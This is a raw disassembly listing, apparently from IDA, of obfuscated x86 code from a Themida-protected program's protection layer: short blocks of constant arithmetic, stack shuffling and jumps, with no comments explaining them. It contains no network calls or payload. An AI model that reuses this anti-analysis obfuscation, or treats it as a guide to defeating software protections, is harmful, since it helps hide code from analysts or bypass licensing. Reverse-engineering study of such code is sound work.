		push	436437CFh
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54E486
; ---------------------------------------------------------------------------


loc_545321:				; CODE XREF: Themida_:0054A3CCj
		push	ecx
		jmp	loc_547072
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_544C84
; ---------------------------------------------------------------------------


loc_545331:				; CODE XREF: Themida_:0054E377j
		pop	ebp
		push	34ECh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4


loc_54534D:				; DATA XREF: ___:off_43CCB4o
		jmp	loc_54FBBD
; ---------------------------------------------------------------------------


loc_545352:				; CODE XREF: Themida_:005494B6j
		xor	eax, [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545360:				; CODE XREF: Themida_:0054EAF2j
		push	bx
		mov	bl, 89h
		sub	al, 62h
		sub	al, bl
		add	al, 62h
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5493DA
; ---------------------------------------------------------------------------


loc_545376:				; CODE XREF: Themida_:0054725Fj
		pop	dword ptr [esp]
		pop	esp
		mul	cx
		push	small 4BBEh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54538D:				; CODE XREF: Themida_:00544C42j
		push	ebx
		mov	ebx, 13CE42A7h
		jmp	loc_54CD33
; ---------------------------------------------------------------------------


loc_545398:				; CODE XREF: Themida_:0054F724j
		pop	edi
		jmp	loc_547264
; ---------------------------------------------------------------------------


loc_54539E:				; CODE XREF: Themida_:0054B41Dj
		pop	esp
		jmp	loc_546DCD
; ---------------------------------------------------------------------------


loc_5453A4:				; CODE XREF: Themida_:00547397j
		push	28Ch
		jmp	loc_5467D4
; ---------------------------------------------------------------------------


loc_5453AE:				; CODE XREF: Themida_:0054809Fj
		mov	esi, 4
		jmp	loc_547D87
; ---------------------------------------------------------------------------


loc_5453B8:				; CODE XREF: Themida_:00546C18j
		neg	ecx
		not	ecx
		add	ecx, 0F4388039h
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	272Ch
		mov	[esp], ebp
		push	ebx
		push	5BDA54B0h
		pop	ebx
		sub	ebx, 8CA2BADh
		jmp	loc_545029
; ---------------------------------------------------------------------------


loc_5453EF:				; CODE XREF: Themida_:0054D0A5j
		pop	ecx
		sub	ecx, 3BD30F6Fh
		neg	ecx
		sub	ecx, 468CF86h
		mov	esi, ecx
		pop	ecx
		add	ebx, esi
		pop	esi
		jmp	loc_5475B0
; ---------------------------------------------------------------------------


loc_545409:				; CODE XREF: Themida_:005499A2j
		push	ebp
		jmp	loc_54ABCD
; ---------------------------------------------------------------------------


loc_54540F:				; CODE XREF: Themida_:00548F05j
		mov	[esp], ecx
		push	1082h
		mov	[esp], esi
		jmp	loc_54C398
; ---------------------------------------------------------------------------


loc_54541F:				; CODE XREF: Themida_:0054E824j
		add	edi, 4
		push	5916h
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 6CA61F92h
		sub	edi, eax
		jmp	loc_5471AE
; ---------------------------------------------------------------------------


loc_54543F:				; CODE XREF: Themida_:0054EB7Ej
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_54C4D1
; ---------------------------------------------------------------------------


loc_54544B:				; CODE XREF: Themida_:00549C5Fj
		pop	esp
		add	esp, 4
		sub	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545458:				; CODE XREF: Themida_:0054D96Ej
		mov	bh, 54h
		sub	al, bh
		jmp	loc_54A0BD
; ---------------------------------------------------------------------------


loc_545461:				; CODE XREF: Themida_:00547D04j
		sub	ecx, 61204781h
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54EFF6
; ---------------------------------------------------------------------------


loc_545476:				; CODE XREF: Themida_:0054F318j
		sub	ecx, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 0E8h
		xor	bl, dl
		pop	edx
		jmp	loc_547165
; ---------------------------------------------------------------------------


loc_54549F:				; CODE XREF: Themida_:0054646Fj
		mov	dl, 0D9h
		sub	dl, 80h
		xor	dl, 8Eh
		and	dl, 0BEh
		shr	dl, 6
		xor	dl, 0Bh
		jmp	loc_54DE81
; ---------------------------------------------------------------------------


loc_5454B5:				; CODE XREF: Themida_:00546B5Ej
		movzx	ecx, al
		push	7B0Ch
		jmp	loc_54582E
; ---------------------------------------------------------------------------


loc_5454C2:				; CODE XREF: Themida_:0054C736j
		add	edi, 4
		push	edx
		jmp	loc_546B06
; ---------------------------------------------------------------------------


loc_5454CE:				; CODE XREF: Themida_:0054FBF5j
		pop	eax
		add	ebx, edx
		pop	edx
		jmp	loc_54DE49
; ---------------------------------------------------------------------------


loc_5454D7:				; CODE XREF: Themida_:00546606j
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_5500D3
; ---------------------------------------------------------------------------


loc_5454E3:				; CODE XREF: Themida_:0054C833j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5454E8:				; CODE XREF: Themida_:0054ED0Ej
		pop	edi
		jmp	loc_54DB0D
; ---------------------------------------------------------------------------


loc_5454EE:				; CODE XREF: Themida_:00548E86j
		pop	eax
		pop	edx
		sub	al, 0A1h
		add	al, bh
		add	al, 0A1h
		mov	bx, [esp]
		add	esp, 2
		push	edx
		mov	dl, 0C4h
		jmp	loc_546F00
; ---------------------------------------------------------------------------


loc_545508:				; CODE XREF: Themida_:0054DC9Bj
		xchg	edx, [esp]
		jmp	loc_54C78E
; ---------------------------------------------------------------------------


loc_545510:				; CODE XREF: Themida_:00545693j
		pop	esp
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	ch, 1Eh
		mov	bl, 0B5h
		sub	bl, ch
		pop	ecx
		mov	dh, bl
		pop	ebx
		push	ebx
		mov	bh, dh
		jmp	loc_546A3C
; ---------------------------------------------------------------------------


loc_545537:				; CODE XREF: Themida_:005493C3j
		push	ebx
		mov	ebx, 0B7A5162h
		shl	ebx, 7
		add	ebx, 3E444A4Ch
		shl	ebx, 7
		sub	ebx, 5D357C58h
		sub	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_54F73A
; ---------------------------------------------------------------------------


loc_54556B:				; CODE XREF: Themida_:00546575j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54557D:				; CODE XREF: Themida_:00548983j
		mov	esi, eax
		pop	eax
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54B669
; ---------------------------------------------------------------------------


loc_545591:				; CODE XREF: Themida_:00548B08j
		pop	esp
		mov	[esp], esi
		mov	esi, 19AE2CEFh
		sub	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5490E1
; ---------------------------------------------------------------------------


loc_5455AC:				; CODE XREF: Themida_:0054BF88j
		add	ecx, 47691188h
		neg	ecx
		jmp	loc_54B774
; ---------------------------------------------------------------------------


loc_5455B9:				; CODE XREF: Themida_:00544E0Dj
		add	edx, 392E3A00h
		shr	edx, 2
		xor	edx, 323D46BFh
		mov	ebp, edx
		jmp	loc_54BF6F
; ---------------------------------------------------------------------------


loc_5455CF:				; CODE XREF: Themida_:0054A6BAj
		pop	ecx
		pop	eax
		xor	dh, 0DEh
		push	eax
		push	ecx
		mov	cl, dh
		mov	al, cl
		jmp	loc_548E83
; ---------------------------------------------------------------------------


loc_5455DF:				; CODE XREF: Themida_:005468F8j
		sub	edx, 2
		xchg	edx, [esp]
		jmp	loc_548692
; ---------------------------------------------------------------------------


loc_5455ED:				; CODE XREF: Themida_:005484E5j
		sub	ebx, 4
		jmp	loc_547E40
; ---------------------------------------------------------------------------


loc_5455F8:				; CODE XREF: Themida_:0054DC75j
		add	esp, 4
		sub	ebx, 1D343F46h
		sub	ebx, eax
		add	ebx, 1D343F46h
		push	ecx
		mov	ecx, 39FB57BDh
		jmp	loc_54E1A0
; ---------------------------------------------------------------------------


loc_545614:				; CODE XREF: Themida_:00545829j
		push	57D0h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5462E5
; ---------------------------------------------------------------------------


loc_545624:				; CODE XREF: Themida_:0054A06Cj
		mov	[esp], ecx
		mov	cx, 5D8h
		dec	cx
		shr	cx, 2
		jmp	loc_5492DF
; ---------------------------------------------------------------------------


loc_545636:				; CODE XREF: Themida_:0054F93Cj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54700A
; ---------------------------------------------------------------------------


loc_54563F:				; CODE XREF: Themida_:005458B6j
		push	esi
		push	26FA16E5h
		pop	esi
		jmp	loc_545A27
; ---------------------------------------------------------------------------


loc_54564B:				; CODE XREF: Themida_:00544DC9j
		dec	dword ptr [esp]
		pop	eax
		sub	eax, 1A02D273h
		add	ebx, eax
		pop	eax
		pop	esi
		jmp	loc_54461D
; ---------------------------------------------------------------------------


loc_54565D:				; CODE XREF: Themida_:0054CF4Ej
		xchg	edx, [esp]
		pop	esp
		not	edx
		inc	edx
		push	7320h
		mov	[esp], ebp
		mov	ebp, 4543684Eh
		add	ebp, 1073CFE6h
		or	edx, ebp
		mov	ebp, [esp]
		jmp	loc_54DC82
; ---------------------------------------------------------------------------


loc_545681:				; CODE XREF: Themida_:0054C42Cj
		shl	dl, 3
		push	cx
		mov	ch, dl
		jmp	loc_547CE8
; ---------------------------------------------------------------------------


loc_54568D:				; CODE XREF: Themida_:0054BCECj
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_545510
; ---------------------------------------------------------------------------


loc_545698:				; CODE XREF: Themida_:00549528j
		sub	esp, 4
		mov	[esp], ebp
		push	2
		pop	ebp
		add	ecx, ebp
		jmp	loc_54C549
; ---------------------------------------------------------------------------


loc_5456AE:				; CODE XREF: Themida_:005477E2j
		pop	ebx
		xor	al, ch
		mov	cx, [esp]
		push	edi
		jmp	loc_54C69E
; ---------------------------------------------------------------------------


loc_5456BB:				; CODE XREF: Themida_:0054A0D8j
		sub	bl, 0FFh
		jmp	loc_548B84
; ---------------------------------------------------------------------------


loc_5456C3:				; CODE XREF: Themida_:0054B940j
		add	ebp, 3DB359F3h
		sub	ebp, edx
		sub	ebp, 3DB359F3h
		pop	edx
		push	ebp
		jmp	loc_5481EC
; ---------------------------------------------------------------------------


loc_5456D8:				; CODE XREF: Themida_:0054EC8Aj
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	esi
		mov	esi, 2
		jmp	loc_548582
; ---------------------------------------------------------------------------


loc_5456F2:				; CODE XREF: Themida_:0054E128j
		pop	eax
		push	ebp
		jmp	loc_549DA5
; ---------------------------------------------------------------------------


loc_5456F9:				; CODE XREF: Themida_:00548763j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_544FFE
; ---------------------------------------------------------------------------


loc_545704:				; CODE XREF: Themida_:0054E2F2j
		xor	[esp], eax
		jmp	loc_5493A6
; ---------------------------------------------------------------------------


loc_54570C:				; CODE XREF: Themida_:0054ACFAj
		mov	[esp], esi
		jmp	loc_544F46
; ---------------------------------------------------------------------------


loc_545714:				; CODE XREF: Themida_:0054BE14j
		not	cl
		jmp	loc_54F2B1
; ---------------------------------------------------------------------------


loc_54571B:				; CODE XREF: Themida_:0054E7D1j
		push	esi
		mov	esi, 2
		push	ebp
		jmp	loc_54C178
; ---------------------------------------------------------------------------


loc_545727:				; CODE XREF: Themida_:00545F2Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54EA32
; ---------------------------------------------------------------------------


loc_545743:				; CODE XREF: Themida_:0054DED4j
		sub	ebp, ecx
		jmp	loc_54DA76
; ---------------------------------------------------------------------------


loc_54574A:				; CODE XREF: Themida_:0054C58Bj
		mov	ecx, [esp]
		jmp	loc_546731
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54C1DD
; ---------------------------------------------------------------------------


loc_545761:				; CODE XREF: Themida_:00544C4Fj
		mov	edx, [esp]
		jmp	loc_544374
; ---------------------------------------------------------------------------


loc_545769:				; CODE XREF: Themida_:0054D282j
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	small 6605h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545788:				; CODE XREF: Themida_:00545B67j
		xor	ebp, 64FF3323h
		mov	edi, ebp
		pop	ebp
		add	esi, edi
		jmp	loc_54A87E
; ---------------------------------------------------------------------------


loc_545798:				; CODE XREF: Themida_:0054FD39j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_544838
; ---------------------------------------------------------------------------


loc_5457A5:				; CODE XREF: Themida_:0054F5DFj
		and	esi, 44D26EFh
		push	ebp
		mov	ebp, 25081706h
		neg	ebp
		or	ebp, 38B97FAAh
		neg	ebp
		add	ebp, 418F4DE3h
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_54F71C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_54A83B
; ---------------------------------------------------------------------------


loc_5457F3:				; CODE XREF: Themida_:0054F0E9j
		shl	ecx, 8
		inc	ecx
		sub	ecx, 91F7B5CBh
		xor	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54F31D
; ---------------------------------------------------------------------------


loc_54580B:				; CODE XREF: Themida_:0054906Aj
		add	esp, 4
		pop	ecx
		push	6B95h
		mov	[esp], ebp
		push	8000h
		push	dword ptr [esp]
		jmp	loc_54B9A8
; ---------------------------------------------------------------------------


loc_545827:				; CODE XREF: Themida_:005466AFj
		xor	eax, ecx
		jmp	loc_545614
; ---------------------------------------------------------------------------


loc_54582E:				; CODE XREF: Themida_:005454BDj
		mov	[esp], ecx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545836:				; CODE XREF: Themida_:005497CAj
		mov	ecx, ebp
		jmp	loc_54DFEA
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 147926FDh
		add	eax, 3A462E05h
		add	eax, ebx
		sub	eax, 3A462E05h
		push	esi
		mov	esi, 1C3018A8h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 40D20DDh
		add	ecx, 516341AEh
		xor	ecx, 4FBF3AEAh
		xor	ecx, 2FE4743Ch
		jmp	loc_5497BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_545877:				; CODE XREF: sub_545BCC+372Bj
		sub	bh, 63h
		sub	al, bh
		jmp	loc_54B0FB
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_545881:				; CODE XREF: Themida_:0054FA1Fj
		mov	[edi+20h], eax
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 0
		mov	eax, esi
		pop	esi
		push	ebx
		mov	ebx, eax
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		mov	[ecx], ebx
		pop	ecx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54BF2F
; ---------------------------------------------------------------------------


loc_5458B0:				; CODE XREF: Themida_:0054866Dj
		add	ebx, 4
		jmp	loc_54563F
; ---------------------------------------------------------------------------


loc_5458BB:				; CODE XREF: Themida_:00549EEBj
		mov	esi, 3702081Ch
		jmp	loc_54CCDA
; ---------------------------------------------------------------------------


loc_5458C5:				; CODE XREF: Themida_:0054FD48j
		shl	edx, 1
		jmp	loc_545A53
; ---------------------------------------------------------------------------


loc_5458CC:				; CODE XREF: Themida_:0054B7EFj
		xor	[esp], eax
		jmp	loc_5488DE
; ---------------------------------------------------------------------------


loc_5458D4:				; CODE XREF: Themida_:0054C988j
		xor	edx, ebx
		pop	ebx
		jmp	loc_54426F
; ---------------------------------------------------------------------------


loc_5458DC:				; CODE XREF: Themida_:0054E679j
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_54B0D4
; ---------------------------------------------------------------------------


loc_5458E9:				; CODE XREF: Themida_:0054B127j
		sub	eax, esi
		sub	eax, 39B0466Eh
		add	eax, 1B980434h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_54ABB9
; ---------------------------------------------------------------------------


loc_545907:				; CODE XREF: Themida_:00548B3Aj
		mov	dl, 0ABh
		mov	cl, dl
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_548426
; ---------------------------------------------------------------------------


loc_545921:				; CODE XREF: Themida_:0054BD8Aj
		xor	ecx, ebx
		jmp	loc_54970D
; ---------------------------------------------------------------------------


loc_545928:				; CODE XREF: Themida_:00546ACFj
		sub	ebx, eax
		jmp	loc_546669
; ---------------------------------------------------------------------------


loc_54592F:				; CODE XREF: Themida_:005483EBj
		push	ebx
		jmp	loc_5442D0
; ---------------------------------------------------------------------------


loc_545935:				; CODE XREF: Themida_:0054D81Fj
		add	edi, esi
		add	edi, 54437A4h
		pop	esi
		jmp	loc_54D8DB
; ---------------------------------------------------------------------------


loc_545943:				; CODE XREF: Themida_:0054B631j
		push	ebp
		jmp	loc_54DACB
; ---------------------------------------------------------------------------


loc_545949:				; CODE XREF: Themida_:00546D8Dj
		mov	al, bl
		pop	ebx
		add	al, 0Dh
		and	al, 4Ah
		and	al, 2Dh
		jmp	loc_5444C9
; ---------------------------------------------------------------------------


loc_545957:				; CODE XREF: Themida_:00548EC3j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54595C:				; CODE XREF: Themida_:0054DF67j
		push	ebp
		mov	ebp, 393E3C00h
		mov	eax, 0FE23291Bh
		add	eax, ebp
		pop	ebp
		sub	eax, 4BB80678h
		shr	eax, 6
		or	eax, 136011C5h
		xor	eax, 13EEB5FBh
		sub	esi, 7E585286h
		jmp	loc_5473E9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_54D251
; ---------------------------------------------------------------------------


loc_545990:				; CODE XREF: Themida_:005471A3j
		push	esi
		push	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_549AD5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54A146
; ---------------------------------------------------------------------------


loc_5459A9:				; CODE XREF: Themida_:0054B6CBj
		mov	esi, [esp]
		jmp	loc_548630
; ---------------------------------------------------------------------------


loc_5459B1:				; CODE XREF: Themida_:00547F26j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 1062156Bh
		sub	edx, 6C4BC60Ah
		push	esi
		jmp	loc_54967D
; ---------------------------------------------------------------------------


loc_5459CC:				; CODE XREF: Themida_:0054BBF1j
		shr	ebp, 5
		and	ebp, 5DC909D2h
		add	ebp, 0C2DDC51Ah
		add	edx, ebp
		jmp	loc_54FFB5
; ---------------------------------------------------------------------------


loc_5459E2:				; CODE XREF: Themida_:0054E463j
		sub	bx, 29B4h
		add	bx, 0FFD4h
		jmp	loc_54CFEA
; ---------------------------------------------------------------------------


loc_5459F1:				; CODE XREF: Themida_:005493CDj
		pop	ebp
		add	ebx, 4
		jmp	loc_549A1A
; ---------------------------------------------------------------------------


loc_5459FD:				; CODE XREF: Themida_:0054CE05j
		sub	ebx, eax
		add	ebx, 185D0842h
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, 3AC46358h
		jmp	loc_54B485
; ---------------------------------------------------------------------------


loc_545A27:				; CODE XREF: Themida_:00545646j
		xor	esi, ebp
		xor	ebp, esi
		jmp	loc_54418E
; ---------------------------------------------------------------------------


loc_545A30:				; CODE XREF: Themida_:0054660Dj
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545A35:				; CODE XREF: Themida_:0054469Bj
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_54FB44
; ---------------------------------------------------------------------------


loc_545A41:				; CODE XREF: Themida_:005483A3j
		add	edx, 4
		jmp	loc_547558
; ---------------------------------------------------------------------------


loc_545A4C:				; CODE XREF: Themida_:0054733Bj
		sub	esi, edx
		jmp	loc_549EB0
; ---------------------------------------------------------------------------


loc_545A53:				; CODE XREF: Themida_:005458C7j
		xchg	esi, [edi+24h]
		push	ebp
		mov	ebp, 7C465412h
		or	ebp, 716D58BAh
		shl	ebp, 4
		add	ebp, 1
		neg	ebp
		add	ebp, 0D6F5CBA2h
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 24h
		add	ebx, 21C2137Ah
		add	ebx, edi
		push	edx
		mov	edx, 21C2137Ah
		sub	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_54D7E9
; ---------------------------------------------------------------------------


loc_545A97:				; CODE XREF: Themida_:0054E541j
		pop	esp
		mov	[esp], dx
		push	22E6h
		jmp	loc_54DA51
; ---------------------------------------------------------------------------


loc_545AA6:				; CODE XREF: Themida_:00545BC2j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		jmp	loc_549440
; ---------------------------------------------------------------------------


loc_545ABE:				; CODE XREF: Themida_:00548D3Ej
		xor	edx, 598F01F4h
		jmp	loc_54FDA1
; ---------------------------------------------------------------------------


loc_545AC9:				; CODE XREF: Themida_:00548903j
		xor	ch, 68h
		xor	al, ch
		pop	ecx
		push	4FDAh
		jmp	loc_5494DD
; ---------------------------------------------------------------------------


loc_545AD9:				; CODE XREF: Themida_:0054BFE3j
		neg	esi
		not	esi
		jmp	loc_54EEA5
; ---------------------------------------------------------------------------


loc_545AE2:				; CODE XREF: Themida_:00548886j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54A948
; ---------------------------------------------------------------------------


loc_545AF3:				; CODE XREF: Themida_:0054FD55j
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], dl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_54B893
; ---------------------------------------------------------------------------


loc_545B0B:				; CODE XREF: Themida_:0054E6BEj
		add	ebx, ecx
		jmp	loc_54A7DB
; ---------------------------------------------------------------------------


loc_545B12:				; CODE XREF: Themida_:0054AC32j
		pop	edi
		xor	edx, eax
		pop	eax


loc_545B16:				; CODE XREF: Themida_:00547F0Bj
					; Themida_:005484A6j
		push	edx
		push	ebx
		jmp	loc_54EFD0
; ---------------------------------------------------------------------------


loc_545B1D:				; CODE XREF: Themida_:00546CF4j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54888B
; ---------------------------------------------------------------------------


loc_545B28:				; CODE XREF: Themida_:005441F7j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545B2D:				; CODE XREF: Themida_:005479DCj
		xor	ebx, edi
		pop	edi
		push	esi
		push	6C3DB458h
		pop	esi
		sub	ebx, esi
		pop	esi
		jmp	loc_545E9B
; ---------------------------------------------------------------------------


loc_545B3F:				; CODE XREF: Themida_:0054D48Fj
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54FC82
; ---------------------------------------------------------------------------


loc_545B49:				; CODE XREF: Themida_:0054F68Bj
		xchg	ebx, [esp]
		pop	esp
		push	275Eh
		mov	[esp], esi
		mov	esi, esp
		push	edi
		push	ebp
		mov	ebp, 64FF3326h
		push	esi
		mov	esi, 1
		add	ebp, esi
		pop	esi
		jmp	loc_545788
; ---------------------------------------------------------------------------


loc_545B6C:				; CODE XREF: Themida_:00548BFFj
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_54D34D
; ---------------------------------------------------------------------------


loc_545B87:				; CODE XREF: Themida_:00545BE7j
		neg	edi
		sub	edi, 779F560Ah
		push	edi
		sub	dword ptr [esp], 150C6216h
		pop	ecx
		add	ecx, 150C6216h
		jmp	loc_54FCBC
; ---------------------------------------------------------------------------


loc_545BA3:				; CODE XREF: Themida_:0054D1A7j
		xor	edx, ebp
		jmp	loc_54D7BC
; ---------------------------------------------------------------------------


loc_545BAA:				; CODE XREF: Themida_:00546D83j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_54B873
; ---------------------------------------------------------------------------


loc_545BBA:				; CODE XREF: Themida_:0054EF6Ej
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_545AA6
; ---------------------------------------------------------------------------


loc_545BC7:				; CODE XREF: Themida_:00545D01j
		jmp	loc_544022

; =============== S U B	R O U T	I N E =======================================



sub_545BCC	proc near		; CODE XREF: sub_54EAB8+7F4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005444DA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005446FA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00545877 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00547527 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00548A2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005492F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005495B4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054AA25 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0054AE96 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0054B0FB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054B95C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0054D1EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054D9D7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054F729 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054FBB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00550003 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+0], ebx
		mov	bh, 0F9h
		jmp	loc_5495B4
sub_545BCC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_545BD9:				; CODE XREF: Themida_:0054D872j
		add	esp, 4
		neg	edi
		push	esi
		mov	esi, 7E39758Eh
		and	edi, esi
		pop	esi
		jmp	loc_545B87
; ---------------------------------------------------------------------------


loc_545BEC:				; CODE XREF: Themida_:0054B337j
		sub	al, 35h
		push	small 2ACCh
		mov	[esp], dx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54B501
; ---------------------------------------------------------------------------


loc_545C04:				; CODE XREF: Themida_:00547806j
		xor	esi, ebp
		pop	ebp
		or	edx, esi
		pop	esi
		push	eax
		jmp	loc_54E6D6
; ---------------------------------------------------------------------------


loc_545C10:				; CODE XREF: Themida_:0054F91Bj
		pop	esi
		sub	ebx, 4CA3339Bh
		push	eax
		mov	eax, 2A53291Bh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 2A53291Bh
		jmp	loc_546EDC
; ---------------------------------------------------------------------------


loc_545C35:				; CODE XREF: Themida_:005480E3j
		push	ebp
		mov	ebp, 9B146D6h
		xor	ebp, 30A551E7h
		add	ebp, 0FFFFFFFFh
		neg	ebp
		neg	ebp
		shl	ebp, 8
		push	esi
		mov	esi, 8100BDAh
		add	ebp, 15313226h
		add	ebp, esi
		sub	ebp, 15313226h
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 323F760Eh
		dec	ecx
		jmp	loc_5474CD
; ---------------------------------------------------------------------------
word_545C7A	dw 2489h		; CODE XREF: Themida_:0054FF25j
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 5Dh
		add	ebp, 4
		push	1AEDh
		jmp	loc_550031
; ---------------------------------------------------------------------------


loc_545C92:				; CODE XREF: Themida_:0054747Fj
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 12B612A0h
		and	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54EDE8
; ---------------------------------------------------------------------------


loc_545CC1:				; CODE XREF: Themida_:00546371j
		xchg	eax, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_545CD0:				; CODE XREF: Themida_:0054B494j
		mov	ebx, 25EE7A8Ch
		add	ebx, 14D5E8CCh
		sub	edx, ebx
		pop	ebx
		pop	ebx
		sub	edx, 2
		push	6416h
